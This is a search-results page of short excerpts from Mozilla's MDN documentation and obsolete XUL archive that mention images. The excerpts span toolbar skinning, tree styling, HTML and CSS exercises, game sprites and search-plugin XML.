<rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace from above"/> dc:description="view from the top of the tower looking east of the doges palace"/> if you try a full example based on this data, you will notice that only one result has been generated.
...(?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace from above') (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, ?title = 'canal') (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?title = 'obelisk') the second triple will add a ?description for the first photo, adding a fourth variable-value pair to the existing data.
...(?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace from above', ?description = 'view from the top of the tower looking east of the doges palace') thus, only one match exists, so only one set of content is generated.
Creating toolbar buttons (Customize Toolbar Window) - Archive of obsolete content
let button = doc.createelement("toolbarbutton"); button.setattribute("id", button_id); button.setattribute("label", "replace bookmark"); button.setattribute("class", "toolbarbutton-1 chromeclass-toolbar-additional"); button.setattribute("tooltiptext", "replace an existing bookmark"); button.style.liststyleimage = "url(" + icon + ")"; button.addeventlistener("command", main.action, false); toolbox.palette.appendchild(button); this code is thanks to dgutov and is seen in full context at his repository here at github: dgutov / bmreplace / bootstrap.js.
...to attach an image to the button we use standard mozilla skinning facilities.
...the dimensions of the icons in various applications for both modes are summarized in the following table (feel free to add information about other applications): application (theme name) big icon size small icon size firefox 1.0 (winstripe) 24x24 16x16 thunderbird 1.0 (qute) 24x24 16x16 the stylesheet to set the image for your toolbar button, use the following css rules: /* skin/toolbar-button.css */ #myextension-button { list-style-image: url("chrome://myextension/skin/btn_large.png"); } toolbar[iconsize="small"] #myextension-button { list-style-image: url("chrome://myextension/skin/btn_small.png"); } applying the stylesheet remember to attach the stylesheet you created to both the overlay file a...
Skinning XUL Files by Hand - Archive of obsolete content
in xul, skins are created with cascading style sheets and images.
...to keep your xul looking consistent and to avoid breaking skins altogether (when your styles have some dependency on a part of the global skin that changes, such as an image), use the style rules in the global skin by importing it into your stylesheet with the following instruction: @import url("chrome://global/skin/"); refer to the document writing skinnable xul and css for guidelines on how to make your skins friendly to the global skin, to xul, and to mozilla.
... here is a very short (but complete!) cascading stylesheet that might be referenced and used by a xul file: toolbar.nav-bar { background-image: url("chrome://navigator/skin/navbar-bg.gif"); padding: 0px; padding-bottom: 2px; } box#navbar { background-color: lightblue; } a:link { color: #fa8072; } this stylesheet exhibits three of the different types of style definitions described above.
Splitters - Archive of obsolete content
this image shows the 4 panels with the splitter in a collapsed state.
... this image shows the 4 panels with the splitter resized to the right.
...as the images below show, when the grippy is clicked, the iframe is collapsed and the buttons shuffle up.
Styling a Tree - Archive of obsolete content
::-moz-tree-image: the image for a cell.
... you can set the image with the list-style-image property.
... ::-moz-tree-checkbox: the image to use for checkbox columns.
The Box Model - Archive of obsolete content
you can see in the image that each label and textbox is oriented horizontally.
... aligning textboxes if you look closely at the image of the login dialog, you can see that the two textboxes are not aligned with each other horizontally.
...as you see in the image below, the label and text input are placed side by side.
Trees - Archive of obsolete content
ArchiveMozillaXULTutorialTrees
however, listboxes may contain any type of content, whereas trees may only contain text and images.
... in fact, apart from some tree specific attributes, the only attributes that will have any effect will be the label attribute to set a text label for a cell and the src attribute to set an image.
...="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treecell label="let's do lunch"/> </treerow> </treeitem> </treechildren> </tree> as can be seen in the image, the tree has been created with two rows of data.
XBL Attribute Inheritance - Archive of obsolete content
here is another example: xul: <box class="okcancel" oktitle="ok" canceltitle="cancel" image="happy.png"/> css: box.okcancel { -moz-binding: url('chrome://example/skin/example.xml#okcancel'); } xbl: <binding id="okcancel"> <content> <xul:button xbl:inherits="label=oktitle,image"/> <xul:button xbl:inherits="label=canceltitle"/> </content> </binding> the value of the oktitle attribute is mapped to the label attribute of the first button.
...the first button also inherits the image attribute.
... the result is as follows: <box class="okcancel" oktitle="ok" canceltitle="cancel" image="happy.png"> <button label="ok" image="happy.png"/> <button label="cancel"/> </box> note that the attributes are duplicated on the inner (anonymous) content.
XUL Reference - Archive of obsolete content
« xul reference « alphabetical list of all xul elements action arrowscrollbox assign bbox binding bindings box broadcaster broadcasterset button browser checkbox caption clicktoscroll colorpicker column columns commandset command conditions content datepicker deck description dialog dialogheader dropmarker editor grid grippy groupbox hbox iframe image key keyset label listbox listcell listcol listcols listhead listheader listitem member menu menubar menuitem menulist menupopup menuseparator notification notificationbox observes overlay page panel param popupset preference preferences prefpane prefwindow progressmeter query queryset radio radiogroup resizer richlistbox richlistitem row rows rule scale scrip...
... wizard wizardpage categorical list of all xul elements « xul reference « windows window wizard wizardpage titlebar window structure --- menus and popups --- toolbars toolbar toolbarbutton toolbargrippy toolbaritem toolbarpallete toolbarseperator toolbarspring tabs and grouping tab tabbox tabpanel tabpanels tabs controls --- text and images label caption image lists --- trees --- layout --- templates --- scripting --- helper elements other xul lists dialog overlay page window wizard wizardpage preference preferences prefpane prefwindow browser tabbrowser editor iframe titlebar resizer statusbar statusbarpanel dialogheader notification notificationbox menubar m...
...toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tabbox tabs tab tabpanels tabpanel groupbox caption separator spacer button checkbox colorpicker datepicker menulist progressmeter radio radiogroup scale splitter textbox textbox (firefox autocomplete) textbox (mozilla autocomplete) timepicker description label image listbox listitem listcell listcol listcols listhead listheader richlistbox richlistitem tree treecell treechildren treecol treecols treeitem treerow treeseparator box hbox vbox bbox deck stack grid columns column rows row scrollbox action assign binding bindings conditions content member param query queryset rule template textnode triple where script ...
checkbox - Archive of obsolete content
src type: uri set this to an uri pointing to an image to appear in the checkbox.
... if this attribute is left out, no image appears.
... you can have both an image and a label.
menu - Archive of obsolete content
ArchiveMozillaXULmenu
attributes acceltext, accesskey, allowevents, command, crop, disabled, image, label, menuactive, open, sizetopopup, tabindex, value properties accessibletype, accesskey, command, control, crop, disabled, image, itemcount, label, labelelement, menupopup, open, parentcontainer, selected, tabindex, value methods appenditem, getindexofitem, getitematindex, insertitemat, removeitemat style classes menu-iconic example <menubar id="sample-menubar"> <menu id="fil...
... style classes menu-iconic use this class to have an image appear on the menu.
... specify the image using the image attribute.
panel - Archive of obsolete content
ArchiveMozillaXULpanel
<panel id="thepanel"> <hbox align="start"> <image src="warning.png"/> <vbox> <description value="you have 6 new messages."/> <hbox> <button label="read mail"/> <button label="new message"/> </hbox> </vbox> </hbox> </panel> <description value="6 new messages" popup="thepanel"/> attributes backdrag type: boolean setting the backdrag attribute on a xul panel lets the user move the panel by clickin...
... in this image, the panel has flip="slide" and has a width which is greater than the distance from the anchor to the right of the screen (or window), so the panel extends past the left of the anchor, and the arrow slides towards the middle of the panel such that it is still aligned with the anchor.
... drag specify this for a panel that's being used as a drag image for a drag and drop operation.
treecell - Archive of obsolete content
src type: uri set this to the uri of an image to appear in the tree cell.
... if this attribute is left out, no image appears.
... you can have both an image and a label.
Windows and menus in XULRunner - Archive of obsolete content
we can add images to the toolbar buttons through the css file.
... we could hard-code the images in the xul file itself, but css is a better practice.
... here’s the css file: /* global skin --------------------------------------------------- */ @import url(chrome://global/skin/); /* toolbar ------------------------------------------------------- */ #open { list-style-image: url(chrome://basicapp/skin/open.png); -moz-box-orient: vertical; } #save { list-style-image: url(chrome://basicapp/skin/save.png); -moz-box-orient: vertical; } of course, you need to make sure the png files are included in the application.
title - Archive of obsolete content
it is used to specify thetitle of a <channel>, an <image>, an <item>, or a <textinput>.
...tscape rss 0.91 revision 3 example <?xml version="1.0"?> <!doctype rss system "http://my.netscape.com/publish/formats/rss-0.91.dtd"> <rss version="0.91"> <channel> <title>advogato</title> <link>http://www.advogato.org/article/</link> <description>recent advogato articles</description> <language>en-us</language> <image> <link>http://www.advogato.org/</link> <title>advogato</title> <url>http://www.advogato.org/image/tinyadvogato.png</url> </image> <item> <title>why can i not get any tang?!</title> <link>http://www.advogato.org/article/10101.html</link> <description>seriously.
... <tr> <th>name</td> <th>tag</td> <th>0.90</td> <th>n 0.91 r1</td> <th>n 0.91 r3</td> <th>u 0.91</td> <th>0.92</td> <th>0.93</td> <th>0.94</td> <th>1.0</td> <th>2.0</td> </tr> <tr> <td>rss channel element</td> <td><channel></td> <td>✔</td> <td>✔</td> <td>✔</td> <td>✔</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> </tr> <tr> <td>rss image element</td> <td><image></td> <td>✔</td> <td>✔</td> <td>✔</td> <td>✔</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> </tr> <tr> <td>rss item element</td> <td><item></td> <td>✔</td> <td>✔</td> <td>✔</td> <td>✔</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> <td>?</td> </tr> <tr> <td>rss text input element</td> <td><textinput></td> <td>✔</td> <td>✔</td> <td>✔</td>...
Table Reflow Internals - Archive of obsolete content
e to size based on the final cell height in paginated mode when there is a height on the table, the table doesn't allocate extra height to rows until after it does a pass 2 reflow and then it is too late this can be fixed by doing a special 3rd pass reflow special reflow example <table border=2 width=300> <tr> <td> this cell's width is constrained by the table and image widths.
... </td> <td> <img src=raptor.jpg width=200 height=100%> </td> </tr> </table> this cell's width is constrained by the table and image widths.
... the image needs to be as high as the cell.
Creating a Skin for Firefox - Archive of obsolete content
introduction in order to create a skin for firefox, there are three things you need to know: how to edit images, how to extract zip files, and how to modify css.
... firefox uses standard gif, png, and jpeg images for the buttons and css to style everything else in the interface.
...you can't change what happens when the user right clicks on an image, but you can change the look of the right click menu (make it blue with pink polka dots, for example).
Making sure your theme works with RTL locales - Archive of obsolete content
example toolbar[iconsize="large"][mode="icons"] #back-button { -moz-image-region: rect(0px 396px 34px 360px); } toolbar[iconsize="large"][mode="icons"] #back-button:-moz-locale-dir(rtl) { -moz-image-region: rect(0px 516px 34px 480px); } this specifies the default, left-to-right version of the button, then offers an override if the user's interface is being rendered in right-to-left mode.
... toolbar[iconsize="large"][mode="icons"] #back-button { -moz-image-region: rect(0px 398px 34px 360px); } toolbar[iconsize="large"][mode="icons"] #back-button[chromedir="rtl"] { -moz-image-region: rect(0px 516px 34px 478px); } this way, if chromedir is "rtl", the second rule will override the first, and the theme will work in rtl.
... */ #a > #b > #c { /* normal rules */ } #a[chromedir="rtl"] > #b > #c { /* rtl rules */ } tip: sometimes, like in the back and forward arrows, you don't really need new versions of the images.
XForms Output Element - Archive of obsolete content
image - if the instance node contains an image, then an output element can be used in combination with the mediatype element to display the image (fx 3.0 only, xhtml/xul).
... image if the bound instance node contains an image then you are free to use this representation to show the image instead of the byte sequence of the image data (fx 3.0 only, xhtml/xul).
... characteristics the bound instance node is of type xsd:anyuri, xsd:base64binary or a type derived from it either the mediatype attribute is present and contains the image's mimetype or the output element contains a mediatype element which specifies the image's mimetype (for example, image/*).
Index - Game development
27 crisp pixel art look with image-rendering 2d, 3d, css, canvas, games, javascript, webgl, image-rendering, pixel this article discusses a useful technique for giving your canvas/webgl games a crisp pixel art look, even on high definition monitors.
... 35 tiles and tilemaps overview 2d, canvas, games, javascript, static, webgl, tilemap, tiles tilemaps are a very popular technique in 2d game development, consisting of building the game world or level map out of small, regular-shaped images called tiles.
... this results in performance and memory usage gains — big image files containing entire level maps are not needed, as they are constructed by small images or image fragments multiple times.
Mobile touch controls - Game development
implementation the easiest way to add an interactive object that will listen for user input is to create a button: var buttonenclave = this.add.button(10, 10, 'logo-enclave', this.clickenclave, this); this one is formed in the mainmenu state — it will be placed ten pixels from the top left corner of the screen, use the logo-enclave image, and execute the clickenclave() function when it is touched.
...from a design point of view, it is better to make the field of activity bigger without covering half of the screen with button images.
... for example, tapping on the right side of the screen will fire the weapon: this.buttonshoot = this.add.button(this.world.width*0.5, 0, 'button-alpha', null, this); this.buttonshoot.oninputdown.add(this.goshootpressed, this); this.buttonshoot.oninputup.add(this.goshootreleased, this); the code above will create a new button using a transparent image that covers the right half of the screen.
Player paddle and controls - Game development
rendering the paddle from the framework point of view the paddle is very similar to the ball — we need to add a variable to represent it, load the relevant image asset, and then do the magic.
... loading the paddle first, add the paddle variable we will be using in our game, right after the ball variable: var paddle; then, in the preload function, load the paddle image by adding the following new load.image() call: function preload() { // ...
... game.load.image('ball', 'img/ball.png'); game.load.image('paddle', 'img/paddle.png'); } adding the paddle graphic just so we don't forget, at this point you should grab the paddle graphic from github, and save it in your /img folder.
Speculative parsing - MDN Web Docs Glossary: Definitions of Web-related terms
the html parser starts speculative loads for scripts, style sheets and images it finds ahead in the stream and runs the html tree construction algorithm speculatively.
... the upside is that when a speculation succeeds, there's no need to reparse the part of the incoming file that was already scanned for scripts, style sheets and images.
... to make speculative loads of linked scripts, style sheets and images successful, avoid document.write.
Test your skills: HTML accessibility - Learn web development
html accessibility 4 in our final html accessibility task, you are given a simple image gallery, which has some accessibility problems.
... the header image has an accessiiblity issue, and so do the gallery images.
... you could take the header image further and implement it using css for arguably better accessibility.
Test your skills: Overflow - Learn web development
task two in this task an image is in the box, it is bigger than the dimensions of the box so overflows visibly.
... change it so that any image outside of the box is hidden.
... try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.
Test your skills: values and units - Learn web development
try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.
... task three in this task you need move the background image so that it is centered horizontally, and 20% from the top of the box.
... try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.
CSS building blocks - Learn web development
from adding gradients, background images, and rounded corners, backgrounds and borders are the answer to a lot of styling questions in css.
... images, media, and form elements in this lesson we will take a look at how certain special elements are treated in css.
... images, other media, and form elements behave a little differently in terms of your ability to style them with css than regular boxes.
Floats - Learn web development
previous overview: css layout next originally for floating images inside blocks of text, the float property became one of the most commonly used tools for creating multiple column layouts on webpages.
... the background of floats the float property was introduced to allow web developers to implement simple layouts involving an image floating inside a column of text, with the text wrapping around the left or right of it.
... but web developers quickly realized that you can float anything, not just images, so the use of float broadened, for example to fun layout effects such as drop-caps.
Test your skills: floats - Learn web development
the text should then appear between the two boxes as in the image below.
...you can see the desired result in this image.
...use the most up to date method available to cause the box background to extend to below the float as in the image.
Test your skills: Grid Layout - Learn web development
by editing the css rules for the two child elements, cause them to span over several grid tracks each; the second item should overlay the first as in the image below.
...use the grid-area and grid-template-areas properties to lay the items out as shown in the image.
... grid and flex layout 4 you will need to use both grid layout and flexbox to recreate the example as seen in the image.
What are browser developer tools? - Learn web development
in the following image, the highlight on the number 18 shows that the line has a breakpoint set.
... in the image, the first section, watch expressions, shows that the listitems variable has been added.
...for example, in the image below, you can see the objects available to the code in the additemclick function.
Creating hyperlinks - Learn web development
note: a url can point to html files, text files, images, text documents, video and audio files, or anything else that lives on the web.
...if you have an image you want to make into a link, use the <a> element and reference the image file with the <img> element.
... <a href="https://www.mozilla.org/"> <img src="mozilla-image.png" alt="mozilla logo that links to the mozilla homepage"> </a> note: you'll find out more about using images on the web in a future article.
Structuring a page of content - Learn web development
images that are used on the page.
... a main content area containing two columns — a main block to contain the welcome text, and a sidebar to contain image thumbnails.
... you need to add a suitable wrapper for: the header the navigation menu the main content the welcome text the image sidebar the footer you should also: apply the provided css to the page by adding another <link> element just below the existing one provided at the start.
What’s in the head? Metadata in HTML - Learn web development
in the mdn web docs sourcecode, you'll find this: <meta property="og:image" content="https://developer.cdn.mozilla.net/static/img/opengraph-logo.dc4e08e2f6af.png"> <meta property="og:description" content="the mozilla developer network (mdn) provides information about open web technologies including html, css, and apis for both web sites and html5 apps.
... it also documents mozilla products, like firefox os."> <meta property="og:title" content="mozilla developer network"> one effect of this is that when you link to mdn web docs on facebook, the link appears along with an image and description: a richer experience for users.
...an be added to your page by: saving it in the same directory as the site's index page, saved in .ico format (most browsers will support favicons in more common formats like .gif or .png, but using the ico format will ensure it works as far back as internet explorer 6.) adding the following line into your html's <head> block to reference it: <link rel="shortcut icon" href="favicon.ico" type="image/x-icon"> here is an example of a favicon in a bookmarks panel: there are lots of other icon types to consider these days as well.
Structuring the web with HTML - Learn web development
html is used to specify whether your web content should be recognized as a paragraph, list, heading, link, image, multimedia player, form, or one of many other available elements or even a new element that you define.
... multimedia and embedding this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.
... solving common html problems use html to solve common problems provides links to sections of content explaining how to use html to solve very common problems when creating a webpage: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc.
General asynchronous programming concepts - Learn web development
consider the following thread diagrams: main thread: task a --> task b in this case, let's say task a is doing something like fetching an image from the server and task b then does something to the image like applying a filter to it.
... if you start task a running and then immediately try to run task b, you'll get an error, because the image won't be available yet.
...the fetching of an image from the server), and then wait until the result has returned before running another operation: main thread: task a task b promise: |__async operation__| since the operation is happening somewhere else, the main thread is not blocked while the async operation is being processed.
HTML performance features - Learn web development
elements & attributes impacting performance the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) async / defer attributes <iframe> <object> <script> rel attribute conclusion previous overview: performance next in this module the "why" of web performance what is web performance?
... measuring performance multimedia: images multimedia: video javascript performance best practices.
... html performance features css performance features fonts and performance mobile performance focusing on performance see also the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading content with rel="preload" - (https://w3c.github.io/preload/ ) ...
JavaScript performance - Learn web development
previous overview: performance next while images and video account for over 70% of the bytes downloaded for the average website, byte per byte, javascript has a greater negative impact on performance.
... similar to images and video, the best way to improve performance is to omit what is not, in fact, necessary.
... measuring performance multimedia: images multimedia: video javascript performance best practices.
Client-Server Overview - Learn web development
ient+server+overview&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev http/1.1 host: developer.mozilla.org connection: keep-alive pragma: no-cache cache-control: no-cache upgrade-insecure-requests: 1 user-agent: mozilla/5.0 (windows nt 10.0; wow64) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.116 safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 referer: https://developer.mozilla.org/ accept-encoding: gzip, deflate, sdch, br accept-charset: iso-8859-1,utf-8;q=0.7,*;q=0.7 accept-language: en-us,en;q=0.8,es;q=0.6 cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zipujsazv6pcgcbjscj1zu6pqzbfmuat; dwf_section_edit=false; dwf_sg_task_completion=false; _gat=1; _ga=ga1.2.1688886003.1471911953; ffo=true the first and...
...per.mozilla.org connection: keep-alive content-length: 432 pragma: no-cache cache-control: no-cache origin: https://developer.mozilla.org upgrade-insecure-requests: 1 user-agent: mozilla/5.0 (windows nt 10.0; wow64) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.116 safari/537.36 content-type: application/x-www-form-urlencoded accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 referer: https://developer.mozilla.org/profiles/hamishwillee/edit accept-encoding: gzip, deflate, br accept-language: en-us,en;q=0.8,es;q=0.6 cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zipujsazv6pcgcbjscj1zu6pqzbfmuat; dwf_section_edit=false; dwf_sg_task_completion=false; _ga=ga1.2.1688886003.1471911953; ffo=true csrfmiddlewaretoken=zipujsazv6pcgcbjscj1z...
... understanding how static sites work is nevertheless useful when learning server-side programming, because dynamic sites handle requests for static files (css, javascript, static images, etc.) in exactly the same way.
Introduction to the server side - Learn web development
a new html page, or an image, etc...), which could then be displayed by the web browser.
... requests for static resources are handled in the same way as for static sites (static resources are any files that don't change —typically: css, javascript, images, pre-created pdf files etc).
...pdfs, images, etc.).
Mozilla's Section 508 Compliance
when an image represents a program element, the information conveyed by the image must also be available in text.
... (e) when bitmap images are used to identify controls, status indicators, or other programmatic elements, the meaning assigned to those images shall be consistent throughout an application's performance.
...mozilla's preferences under privacy & security - images contain options for making animated images still.
Accessible Toolkit Checklist
for example, lists of checkboxes are implemented in windows with images of checked and unchecked checkboxes.
...this can be supported through spi_getkeyboardcues and spi_getmenuunderlines simple widgets buttons tab, arrow, unmodified letter mnemonics require and support text labels for buttons with images, can be same as tooltip space key activates button enter key activates focused button (thus current button, not default button shows dark border when a different button is focused) when button has a popup available by clicking on it, the enter key or space bar should also activate the popup toolbars and toolbar buttons are not focusable, but we should expose the tooltip.
... space bar toggles checkboxes the enter key should activate an item if double clicking would do so msaa support, including accessible selection, exposing current level and position in list, alternative text for informative or interactive images, selectable, multiselectable and extselectable states, statechange events for expanding/collapsing and toggling of checkbox children.
Creating MozSearch plugins
the following xml is the bundled firefox 2 search plugin for searching using yahoo!: <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> <url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" /> <url type="text/html" method="get" template="http://search.yahoo.com/sear...
... <searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>mdc</shortname> <description>mozilla developer center search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,ivborw0kggoaaaansuheugaaabaaaaaqcayaaaaf8%2f9haaaabgdbtueaak%2finwwk6qaaabl0rvh0u29mdhdhcmuaqwrvymugsw1hz2vszwfkexhjztwaaahwsurbvhjayvz%2f%2fz8djqaggjiqoe%2ffv2fv7oz8rays%2fn%2bvkfg%2fiynjfyd%2f1%2brvq7ffu3dpfpsbaaheahibcj85c8bn2nj4vwsdw%2f8zqlwkio8ccroqu0dxqlwrdshuwzbaaigjmtnnpgya9j8uqhfelwpxf2mideirksn9fwsjorkaeeam0dd4dzmaypi%2fg%2bqky4hh5waxgf8pd...
...ycbuigtdvkhdbia%2bcuotgaccued3tdqn75d4xmavcok9armhbzaw0aecibhkalc0mdy7x9abna3obazxiaa6ikecglmvqhwwyjyul2d4v2cpg8vzswx7ghyaaak7aoif7saboqcmn4ha3ahfsidtgpq%2fvlz8p4mskj2w9h8ggbjevxvhdo4fquqg%2fkdypqcg4h8luiacnq%2fsobmyi8basajfpcj1aaeejwvqqlpabxmh5bjjqi0gi9dtaagdbbccavlkgmq7ykczxpcqxquzhaeccj4xgml493ug21zd%2badaxh0wlm4a9mzpxjkjiiawtar5pqmalacabquulttbgccagcnnzgabbgamj5thwgvjlaaaaabjru5erkjggg%3d%3d</image> <url type="text/html" method="get" template="http://developer.mozilla.org/en/docs/special:search?search={searchterms}"/> <searchform>http://developer.mozilla.org/en/docs/special:search</searchform> </searchplugin> notice in this case that instead of using <param> to define parameters to the search engine, they're simply embedded inside the template url.
Experimental features in Firefox
nightly 62 no developer edition 62 no beta 62 no release 62 no preference name media.mediasource.experimental.enabled avif (av1 image file format) support with this feature enabled, firefox supports the av1 image file (avif) format.
... this is a still image file format that leverages the capabilities of the av1 video compression algorithms to reduce image size.
... nightly 77 no developer edition 77 no beta 77 no release 77 no preference name image.avif.enabled av1 support for firefox on android this feature allows firefox on android to use av1 format media.
HTMLIFrameElement.getScreenshot()
the image will be cropped if necessary but will not be distorted vertically or horizontally.
... mimetype optional a mime type specifying the format of the image to be returned; if not specified, the default used is image/jpeg.
... use image/png to capture the alpha channel of the rendered result by returning a png-format image.
How Mozilla determines MIME Types
also, for images loaded via <img src>, mozilla's image library will do content sniffing (never extension sniffing) to find out the real type of the image.
... the image library will be asked for the mime type given the content.
... this should allow reliable detection of all image types mozilla supports.
Using the viewport meta tag to control layout on mobile browsers
their text will be smooth and crisp, but their bitmap images will probably not take advantage of the full screen resolution.
... to get sharper images on these screens, web developers may want to design images – or whole layouts – at a higher scale than their final size and then scale them down using css or viewport properties.
... for web developers, this means that the size of a page is much smaller than the actual pixel count and browsers may size their layouts and images accordingly.
about:memory
m/, id=20) │ ├──12.85 mb (06.69%) ++ top(http://arstechnica.com/, id=14) │ ├───6.40 mb (03.33%) ++ top(chrome://browser/content/browser.xul, id=3) │ └───3.59 mb (01.87%) ++ (4 tiny) ├───45.74 mb (23.84%) ++ js-non-window ├───33.73 mb (17.58%) ── heap-unclassified ├───22.51 mb (11.73%) ++ heap-overhead ├────6.62 mb (03.45%) ++ images ├────5.82 mb (03.03%) ++ workers/workers(chrome) ├────5.36 mb (02.80%) ++ (16 tiny) ├────4.07 mb (02.12%) ++ storage ├────2.74 mb (01.43%) ++ startup-cache └────2.16 mb (01.12%) ++ xpconnect some expertise is required to understand the full details here, but there are various things worth pointing out.
... there are measurements for other content such as images and workers, and for browser subsystems such as the startup cache and xpconnect.
...ixels 5.38 mb ── gfx-surface-xlib 0.00 mb ── gfx-textures 0.00 mb ── gfx-tiles-waste 0 ── ghost-windows 109.22 mb ── heap-allocated 164 ── heap-chunks 1.00 mb ── heap-chunksize 114.51 mb ── heap-committed 164.00 mb ── heap-mapped 4.84% ── heap-overhead-ratio 1 ── host-object-urls 0.00 mb ── imagelib-surface-cache 5.27 mb ── js-main-runtime-temporary-peak 0 ── page-faults-hard 203,349 ── page-faults-soft 274.99 mb ── resident 251.47 mb ── resident-unique 1,103.64 mb ── vsize some measurements of note are as follows.
Patches and pushes
<searchplugin xmlns="http://www.mozilla.org/2006/browser/search/"> <shortname>yahoo</shortname> <description>yahoo search</description> <inputencoding>utf-8</inputencoding> <image width="16" height="16">data:image/x-icon;base64,r0lgodlheaaqajecap8aaaaaap///waaach5baeaaaialaaaaaaqabaaaaipli+py+0nogquybdened2khkffwuamezmpzsfmaihphrrguum/ft+uwaaow==</image> ***this tag is optional***<url type="application/x-suggestions+json" method="get" template="http://ff.search.yahoo.com/gossip?output=fxjson&amp;command={searchterms}" />*** <url type="text/html" method="get" template=...
... each plugin has an icon image which is linked within the xml file as an uri id.
... upload your plugins icon image to data kitchen to obtain its uri id and add to the xml file within the image tag.
Gecko Roles
role_chart represents a graphical image used to represent data.
... role_diagram represents a graphical image used to diagram data.
... role_combobox_option a item of list that is shown by combobox role_image_map an image map -- has child links representing the areas role_option an option in a listbox role_rich_option a rich option in a listbox, it can have other widgets as children role_listbox a list of options editor's note: use template role_ to get reference on accessible role.
nsIAccessibleHyperLink
with an image map, reflects the actual areas within the map.
...note: in the case of an image map there is more than one link represented by this accessible.
... remarks anchors, image maps, xul:labels with class="text-link" implement this interface.
nsIHTMLEditor
used primarily to supply new element for various insert element dialogs (image, link, table, and horizontalrule are the only returned elements as of 9/12/18); namedanchor was removed in firefox 63.
... getselectedelement() return an element only if it is the only node selected, such as an image, horizontal rule, and so on.
... void setparagraphformat( in astring aparagraphformat ); parameters aparagraphformat "p", "h1" to "h6", "address", "pre", or "blockquote" updatebaseurl() set the baseurl for the document to the current url but only if the page doesn't have a <base> tag this should be done after the document url has changed, such as after saving a file this is used as base for relativizing link and image urls.
nsIIOService
for example for an image load, it's the document in which the image will be loaded.
...for example for an image load, it's the document in which the image will be loaded.
...for example for an image load, it's the document in which the image will be loaded.
nsIMsgCustomColumnHandler
you must implement: nsitreeview.iseditable() nsitreeview.getcellproperties() nsitreeview.getimagesrc() nsitreeview.getcelltext() nsitreeview.cyclecell() nsimsgcustomcolumnhandler.getsortstringforrow() nsimsgcustomcolumnhandler.getsortlongforrow() nsimsgcustomcolumnhandler.isstring() and optionally: nsitreeview.getrowproperties() from c++ you must implement all of nsitreeview and nsimsgcustomcolumnhandler.
...n that does nothing: var columnhandler = { iseditable: function(arow, acol) {return false;}, cyclecell: function(arow, acol) { }, getcelltext: function(arow, acol) { }, getsortstringforrow: function(ahdr) { return ""; }, isstring: function() {return true;}, getcellproperties: function(arow, acol, aprops) { }, getrowproperties: function(arow, aprops) { }, getimagesrc: function(arow, acol) {return null;}, getsortlongforrow: function(ahdr) {return 0;} } to attach it use the nsimsgdbview.addcolumnhandler() method (recall gdbview is the global nsimsgdbview in thunderbird): gdbview.addcolumnhandler("newcolumn", columnhandler); after which it can be retrieved using the nsimsgdbview.getcolumnhandler() method: var handler = gdbview.getcolumnhandler...
...getimagesrc is used to determine what to display.
XPCOM Interface Reference
component; nsiprefbranchextensionmanager (toolkit)iaccessible2iaccessibleactioniaccessibleapplicationiaccessiblecomponentiaccessibleeditabletextiaccessiblehyperlinkiaccessiblehypertextiaccessibleimageiaccessiblerelationiaccessibletableiaccessibletable2iaccessibletablecelliaccessibletextiaccessiblevalueidispatchijsdebuggeramiinstallcallbackamiinstalltriggeramiwebinstallinfoamiwebinstalllisteneramiwebinstallpromptamiwebinstallerimgicacheimgicontainerimgicontainerobserverimgidecoderimgidecoderobserverimgiencoderimgiloaderimgirequestinidomutilsjsdistackframemoziasyncfaviconsmoziasynchistorymozicoloranalyzermozijssubscriptloadermozipersonaldictionarymoziplaceinfomoziplacesautocompletemoziregistrymozirepresentative...
